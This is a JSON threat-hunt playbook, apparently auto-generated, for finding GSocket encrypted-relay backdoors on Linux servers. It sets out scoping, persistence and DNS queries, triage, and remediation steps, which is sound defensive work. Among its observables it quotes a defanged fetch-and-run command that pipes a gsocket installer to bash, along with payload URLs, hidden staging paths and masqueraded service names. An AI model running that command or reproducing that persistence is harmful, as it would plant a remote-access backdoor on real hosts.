{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "GSocket creates a persistent backdoor that survives application patching. This hunt ensures that once a web vulnerability is remediated, the hidden relays used to maintain access are also identified and removed, protecting the host from long-term control." }, "name": "Persistent GSocket Encrypted Relay Activity", "type": "investigation", "labels": [ "hunt", "attack.t1036", "attack.t1053.003", "attack.t1543.002", "attack.t1068", "attack.t1071", "attack.t1090.002", "command and control", "defense evasion", "execution", "initial access", "persistence", "privilege escalation" ], "series": { "slug": "the-global-socket-how-threat-actors-are-weaponizing-gsocket-for-stealthy-c2", "index": 2, "title": "The global socket: how threat actors are weaponizing GSocket for stealthy C2", "total": 2 }, "related": [ { "hunt": "web-shell-aftermath-cleanup", "reason": "This hunt follows the remediation of web shells to ensure no persistent relays remain on the host.", "relation": "follows" }, { "hunt": "linux-web-server-gsocket-staging", "relation": "follows" } ], "targets": { "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "A simple detection rule for GSocket domains would be noisy in environments where it is used for legitimate admin tasks. This hunt correlates the kernel vulnerability state with rare, non-standard persistence and outbound relay activity to identify malicious weaponization.", "coverage": [ { "stage": "privilege-escalation-exploit", "steps": [ "scoping-vulnerable-linux" ], "status": "covered" }, { "stage": "masqueraded-persistence", "steps": [ "rare-persistence-job" ], "status": "covered" }, { "stage": "encrypted-relay-c2", "steps": [ "relay-dns-lookup" ], "status": "covered" }, { "stage": "initial-web-exploitation", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" }, { "stage": "deployment-downloader", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" }, { "stage": "concealed-staging", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" } ], "scenario": { "stages": [ { "name": "Web Application Compromise", "slug": "initial-web-exploitation", "tactic": "initial-access", "techniques": [ "T1190" ], "observables": [ "PHP web applications", "cPanel hosting", "Apache web server context", "Remote code execution" ] }, { "name": "Scripted Tool Retrieval", "slug": "deployment-downloader", "tactic": "execution", "techniques": [ "T1105", "T1059.004" ], "observables": [ "curl -sSL hxxps://gsocket[.]io/y | bash", "hxxps://gsocket[.]io/install.sh", "hxxps://gsgg[.]b-cdn[.]net/bin/gs-netcat_mini-linux-x86_64", "hxxps://cdn[.]gsocket[.]io/bin/gs-netcat_mini-linux-aarch64" ] }, { "name": "Hidden Payload Staging", "slug": "concealed-staging", "tactic": "defense-evasion", "techniques": [ "T1564.001", "T1070.004" ], "observables": [ "/dev/shm/.gs-0/", "/tmp/.gsn_ora", "/tmp/systemd-remount-d", "Memory-backed directories" ] }, { "name": "Kernel Exploitation", "slug": "privilege-escalation-exploit", "tactic": "privilege-escalation", "techniques": [ "T1068" ], "observables": [ "CVE-2026-43284", "Dirty Frag vulnerability" ] }, { "name": "Systemd and Cron Persistence", "slug": "masqueraded-persistence", "tactic": "persistence", "techniques": [ "T1036", "T1053.003", "T1543.002" ], "observables": [ "systemd-remount-d", "/usr/bin/systemd-remount-d", "cron jobs", "systemd units", "kernel-thread-like names" ] }, { "name": "Relay Network C2", "slug": "encrypted-relay-c2", "tactic": "command-and-control", "techniques": [ "T1071", "T1090.002" ], "observables": [ "gsocket.io", "cdn.gsocket.io", "gsgg.b-cdn.net", "Outbound encrypted relay traffic", "GS_TG_TOKEN", "Telegram notification delivery" ] } ], "summary": "Threat actors are weaponizing GSocket, a legitimate encrypted relay tool, to maintain persistent outbound-only C2 on compromised Linux servers. By tunneling traffic through the public Global Socket Relay Network, attackers evade inbound firewall restrictions and bypass traditional IP-based blocking even after the initial web application vulnerability is patched." }, "severity": "high", "rationale": "Focus on Linux servers running PHP or cPanel environments, as research indicates these are the most common targets. Use the vulnerable host list as a primary anchor, but do not exclude hosts with DNS activity if they are not yet scanned for vulnerabilities.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An intruder has maintained persistent access to a Linux server by deploying a GSocket relay after exploiting a kernel vulnerability, masquerading the relay as a system service while communicating outbound to a shared public network.", "parameters": { "c2_domains": { "from": { "ref": "msrc-blog", "kind": "article", "observed": "2026-11-11" }, "type": "list[domain]", "default": [ "gsocket.io", "cdn.gsocket.io", "gsgg.b-cdn.net" ], "description": "Known GSocket relay and distribution domains named in research." }, "scope_hosts": { "from": { "ref": "analyst-scoping", "kind": "manual", "observed": "2026-11-11" }, "type": "list[host]", "default": [], "description": "Specific hostnames to focus on; leave empty to scan the entire Linux estate." }, "lookback_days": { "from": { "ref": "standard-retention", "kind": "manual", "observed": "2026-11-11" }, "type": "number", "default": "14", "description": "Days of history to examine for persistence and network activity." }, "gs_service_names": { "from": { "ref": "msrc-blog", "kind": "article", "observed": "2026-11-11" }, "type": "list[string]", "default": [ "systemd-remount-d", "defunct.service", "multi-user.target.wants" ], "description": "Service and job names associated with GSocket persistence." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "gates": [ "dry-run", "lint" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/11/global-socket-how-threat-actors-weaponizing-gsocket-stealthy-c2/", "name": "MSRC \u2014 The global socket: how threat actors are weaponizing GSocket for stealthy C2" } ], "blind_spots": [ { "id": "limited-linux-visibility", "risk": "Sophisticated GSocket variants that use prctl or other syscalls to rename threads may not be fully captured by process-only telemetry.", "stage": "masqueraded-persistence", "question": "Are kernel-thread masquerading events visible beyond the process command line?", "requires": "hb_linux_audit or hb_syslog" }, { "id": "encrypted-c2-blindness", "risk": "GSocket is end-to-end encrypted; without visibility into the traffic content, we rely entirely on process context and domain reputation.", "stage": "encrypted-relay-c2", "question": "Can the content of the GSocket relay traffic be inspected?", "requires": "Egress proxy TLS inspection" } ] }, "name": "Persistent GSocket Encrypted Relay Activity", "description": "This hunt identifies Linux hosts weaponized with GSocket (Global Socket) for long-term command and control. Threat actors use the Dirty Frag kernel vulnerability (CVE-2026-43284) to elevate privileges before installing GSocket relays that masquerade as legitimate system services like systemd-remount. Because GSocket connects outbound to a shared public relay network, traditional inbound firewall rules and fixed C2 domain blocking are ineffective. This hunt correlates vulnerability status with rare persistence mechanisms and outbound relay traffic patterns to identify active intrusions that persist even after the initial entry point is patched." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "the-global-socket-how-threat-actors-are-weaponizing-gsocket-for-stealthy-c2", "index": 2, "title": "The global socket: how threat actors are weaponizing GSocket for stealthy C2", "total": 2 }, "coverage": [ { "stage": "privilege-escalation-exploit", "steps": [ "scoping-vulnerable-linux" ], "status": "covered" }, { "stage": "masqueraded-persistence", "steps": [ "rare-persistence-job" ], "status": "covered" }, { "stage": "encrypted-relay-c2", "steps": [ "relay-dns-lookup" ], "status": "covered" }, { "stage": "initial-web-exploitation", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" }, { "stage": "deployment-downloader", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" }, { "stage": "concealed-staging", "reason": "Belongs to another part of the 'The global socket: how threat actors are weaponizing GSocket for stealthy C2' series.", "status": "out_of_scope" } ], "rationale": "An intruder has maintained persistent access to a Linux server by deploying a GSocket relay after exploiting a kernel vulnerability, masquerading the relay as a system service while communicating outbound to a shared public network.", "blind_spots": [ { "id": "limited-linux-visibility", "risk": "Sophisticated GSocket variants that use prctl or other syscalls to rename threads may not be fully captured by process-only telemetry.", "stage": "masqueraded-persistence", "question": "Are kernel-thread masquerading events visible beyond the process command line?", "requires": "hb_linux_audit or hb_syslog" }, { "id": "encrypted-c2-blindness", "risk": "GSocket is end-to-end encrypted; without visibility into the traffic content, we rely entirely on process context and domain reputation.", "stage": "encrypted-relay-c2", "question": "Can the content of the GSocket relay traffic be inspected?", "requires": "Egress proxy TLS inspection" } ], "scoping_notes": "Focus on Linux servers running PHP or cPanel environments, as research indicates these are the most common targets. Use the vulnerable host list as a primary anchor, but do not exclude hosts with DNS activity if they are not yet scanned for vulnerabilities.", "beyond_detection": "A simple detection rule for GSocket domains would be noisy in environments where it is used for legitimate admin tasks. This hunt correlates the kernel vulnerability state with rare, non-standard persistence and outbound relay activity to identify malicious weaponization." } }, { "id": "scoping-vulnerable-linux", "type": "query", "label": "Scope hosts vulnerable to Dirty Frag", "config": { "dsl": "sqlite", "role": "scoping", "source": "endpoint", "content": "SELECT device_uid, resource_uid, status, cvss_score FROM hb_vulnerability_finding WHERE cve_uid = 'CVE-2026-43284' AND status != 'suppressed'", "surface": "hb_vulnerability_finding", "description": "Identify Linux hosts reporting the Dirty Frag vulnerability (CVE-2026-43284), which was observed as a primary privilege escalation vector for GSocket deployment.", "expected_signal": "A list of unique device identifiers currently reporting the kernel vulnerability. Silence suggests no unpatched hosts or no vulnerability scanning coverage." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "scoping", "label": "Scope hosts vulnerable to Dirty Frag", "reads": [ "device_uid", "resource_uid", "status", "cvss_score" ], "source": "hb_vulnerability_finding", "target": "endpoint", "content": "SELECT device_uid, resource_uid, status, cvss_score FROM hb_vulnerability_finding WHERE cve_uid = 'CVE-2026-43284' AND status != 'suppressed'", "silence": "not_evidence_of_absence", "expected": "A list of unique device identifiers currently reporting the kernel vulnerability. Silence suggests no unpatched hosts or no vulnerability scanning coverage.", "verified": "dry-run", "verified_at": "2026-11-12" } }, { "id": "rare-persistence-job", "type": "query", "label": "Identify rare GSocket persistence", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT LOWER(job_cmd_line) AS cmd, job_name, device_hostname, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_scheduled_job WHERE (instr(',' || '{{gs_service_names}}' || ',', ',' || LOWER(job_name) || ',') > 0 OR job_cmd_line LIKE '%/dev/shm/%' OR job_cmd_line LIKE '%gs-netcat%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY LOWER(job_cmd_line), job_name, device_hostname HAVING hosts <= 3 ORDER BY hosts ASC", "surface": "hb_scheduled_job", "description": "Find rare cron or systemd jobs referencing GSocket file names, masqueraded service names, or staging paths like /dev/shm.", "expected_signal": "Rare jobs on a few hosts that use masqueraded names or stage binaries in temporary memory-backed directories. Silence means no known names were found in job definitions." }, "parents": [ { "id": "scoping-vulnerable-linux" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "Identify rare GSocket persistence", "reads": [ "device_hostname", "job_name", "job_cmd_line", "time" ], "source": "hb_scheduled_job", "target": "endpoint", "content": "SELECT LOWER(job_cmd_line) AS cmd, job_name, device_hostname, COUNT(DISTINCT device_hostname) AS hosts, MIN(time) AS first_seen FROM hb_scheduled_job WHERE (instr(',' || '{{gs_service_names}}' || ',', ',' || LOWER(job_name) || ',') > 0 OR job_cmd_line LIKE '%/dev/shm/%' OR job_cmd_line LIKE '%gs-netcat%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY LOWER(job_cmd_line), job_name, device_hostname HAVING hosts <= 3 ORDER BY hosts ASC", "silence": "evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "Rare jobs on a few hosts that use masqueraded names or stage binaries in temporary memory-backed directories. Silence means no known names were found in job definitions.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "job_cmd_line", "job_name" ], "rare_below": 3 }, "verified_at": "2026-11-12" } }, { "id": "relay-dns-lookup", "type": "query", "label": "Check for relay infrastructure lookups", "config": { "dsl": "sqlite", "role": "enrichment", "source": "endpoint", "content": "SELECT device_hostname, query_hostname, process_name, COUNT(*) AS lookups, MIN(time) AS first_seen FROM hb_dns_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, query_hostname, process_name ORDER BY lookups DESC", "surface": "hb_dns_activity", "description": "Identify hosts resolving GSocket domains, which indicates the client binary is attempting to connect to the shared relay network.", "expected_signal": "Outbound DNS requests to the relay infrastructure. Silence proves no resolution attempts to these specific domains occurred in the window." }, "parents": [ { "id": "scoping-vulnerable-linux" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "Check for relay infrastructure lookups", "reads": [ "device_hostname", "query_hostname", "process_name", "time" ], "source": "hb_dns_activity", "target": "endpoint", "content": "SELECT device_hostname, query_hostname, process_name, COUNT(*) AS lookups, MIN(time) AS first_seen FROM hb_dns_activity WHERE (instr(',' || '{{c2_domains}}' || ',', ',' || LOWER(query_hostname) || ',') > 0) AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY device_hostname, query_hostname, process_name ORDER BY lookups DESC", "silence": "evidence_of_absence", "expected": "Outbound DNS requests to the relay infrastructure. Silence proves no resolution attempts to these specific domains occurred in the window.", "verified": "dry-run", "verified_at": "2026-11-12" } }, { "id": "gsocket-triage", "type": "analytic", "label": "Analyze GSocket activity per host", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "scoping-vulnerable-linux", "rare-persistence-job", "relay-dns-lookup" ], "objective": "Determine if any host vulnerable to Dirty Frag shows rare persistence mechanisms in cron/systemd or outbound DNS lookups to GSocket domains.", "description": "Weigh vulnerability status against persistence and C2 indicators to determine if GSocket is actively weaponized on a host.", "max_iterations": 4, "expected_signal": "A per-host verdict of malicious | suspicious | benign citing specific rows.", "success_criteria": "A per-host verdict citing rows from all three context steps where applicable." }, "parents": [ { "id": "rare-persistence-job", "kind": "merge" }, { "id": "relay-dns-lookup", "kind": "merge" } ] }, { "id": "route-on-verdict", "type": "checkpoint", "label": "Route by agent verdict", "config": { "fuzzy": true, "judge": "hunter", "question": "the gsocket-triage verdict is malicious for at least one host", "condition": "the gsocket-triage verdict is malicious for at least one host", "blind_spot": "limited-linux-visibility", "confidence": "high", "description": "Initiate automated containment for malicious findings or route to analyst review for suspicious activity.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "gsocket-triage" } ] }, { "id": "isolate-and-remediate", "type": "action", "label": "Isolate host and remediate GSocket", "config": { "target": "endpoint", "description": "Sever the encrypted relay connection and remove persistence components to prevent further command execution.", "instructions": "Isolate the endpoint via the EDR agent. Terminate every process associated with the identified job command lines. Remove identified cron jobs, systemd units, and files in /dev/shm or /tmp as cited by the agent. Revoke sessions for the web service account.", "action_approval": "required" }, "parents": [ { "id": "route-on-verdict", "branch": "on_supports" } ] }, { "id": "manual-forensic-review", "type": "task", "label": "Manual forensic review", "config": { "assignee": "analyst", "description": "Confirm the effectiveness of remediation and identify any secondary implants or lateral movement.", "instructions": "Review the agent's findings and the results of the remediation action. Check for other common persistence points like shell profiles (.bashrc) or kernel-thread masqueraded processes. Schedule a kernel update to patch CVE-2026-43284." }, "parents": [ { "id": "route-on-verdict", "branch": "default" }, { "id": "route-on-verdict", "branch": "on_unavailable" }, { "id": "route-on-verdict", "branch": "on_refutes" }, { "id": "isolate-and-remediate" } ] }, { "id": "hunt-closeout", "type": "task", "label": "Hunt closeout and documentation", "config": { "assignee": "analyst", "description": "Document findings for detection engineering and close the incident.", "instructions": "Record all identified indicators of compromise. Update the enterprise blocklist for GSocket relay domains and provide a summary of the masquerading names used in the intrusion to the detection team." }, "parents": [ { "id": "manual-forensic-review" } ] } ] }